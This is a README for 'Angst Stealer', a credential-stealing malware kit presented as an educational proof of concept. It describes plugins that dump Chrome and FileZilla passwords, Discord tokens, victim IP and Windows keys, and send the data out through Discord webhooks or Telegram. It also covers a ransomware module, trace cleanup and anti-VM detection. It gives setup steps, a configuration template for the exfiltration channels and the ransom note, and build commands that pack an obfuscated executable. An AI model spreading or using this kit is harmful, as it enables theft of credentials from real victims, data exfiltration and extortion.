Angst Stealer

AngstStealer is a PoC malware which is designed to highlight and utilize Discord as an attack vector. While it is fully functioning it was created for educational purposes, please do not use misuse this tool. Angst Stealer currently has a total of 10 plugins.

Demo

Here is a screenshot of what will be sent once it is ran.

The reason why not windows activation key is included is due to it being run inside a virtual machine thats not activated.

Plugin	Description
Chrome	The chrome plugin dumps all of the users passwords, websites, and usernames.
Filezilla	Checks to see if the user has Filezilla installed, if they do then it dumps stored Filezilla creds.
Ransomware	Encrypts all files on the victims computer, also drops a note. (INCOMPLETE?)
Discord	Dumps discord token for Chrome and Discord.
Send_Discord	Zips and sends all the files through the Discord webhook.
Send_Telegram	Zips and sends all the files to a specified Telegram channel.
User	Drops userdata about the victim such as IP, Username and Computername.
Windows	Also drops the windows activation key for the victims computer.
Cleanup	Cleans up all traces of Angst
AntiVM	Tries to detect if a user is on a virtual machine

Setup

1. Install python here
2. Clone this repo using git clone https://github.com/Phew/angst-rewrite/ or manually download it.
3. Run cd folderpath so that you are inside the directory itself.
4. Install the required libraries using pip install -r requirements.txt
5. Inside the main file you will see a config template, modify it so it matches your requirements.

CONFIG = {
    "webhook" : "",
    "chrome" : True,
    "filezilla":True,
    "userdata":True,
    "discord":True,
    "send_discord": False,
    "send_telegram": True,
    "telegram_token": "",
    "telegram_chat_id": "",
    "ransomware" : {
        "enabled" : False,
        "target_dir" : "C:\\Users\\", 
        "extenstion" : ".angst",
        "btcAddy" : "",
        "email" : "[email protected]"
    }
}

webhook -> The discord webhook link which you want it to use.
chrome -> If it should include chrome passwords
filezilla -> Should it include possible saved filezilla passwords
userdata -> Give information about your victim
discord -> Steal discord tokens
send_discord -> Option to send to Discord Webhook
send_telegram -> Option to send to a Telegram Channel
telegram_token -> Token for Telegram Bot that sends files
telegram_chat_id -> The Chat ID for where you want the bot to send these files
ransomware -> If enabled is set to True then have enabled the ransomware module. The target_dir is the directory in which you want it to encrypt. The ransomware extenstion setting just sets the output file extenstion, in this case its just .angst. The btcAddy and email are just options which you can toss in to be included in the ransomware note. (INCOMPLETE).
6. Run one of the following commands listed below, it is worth noting that pyarmor will sometimes corrupt the executable so if you plan on using the pyarmor command you should test it locally to make sure it works.
PYINSTALLER: pyinstaller --onefile --hidden-import=pkg_resources.py2_warn angst.py
PYARMOR: pyarmor pack -e " --onefile --hidden-import=pkg_resources.py2_warn" angst.py

To Do List

• Add cookie support (just got lazy and forgot)
• Add more browsers
• Implement some anti-vm tricks.
• Add more plugins

If you would like to help with something, writing plugins for Angst would be a pretty big help.

Additional

Use this responsibly, I made this just as a demonstration of a POC. The fact that Discord still hasn't implemented any safegaurds or preventive measures when it comes to something like this is kind've embarrasing. Regardless though, using this without the consent of the computer owner is illegal.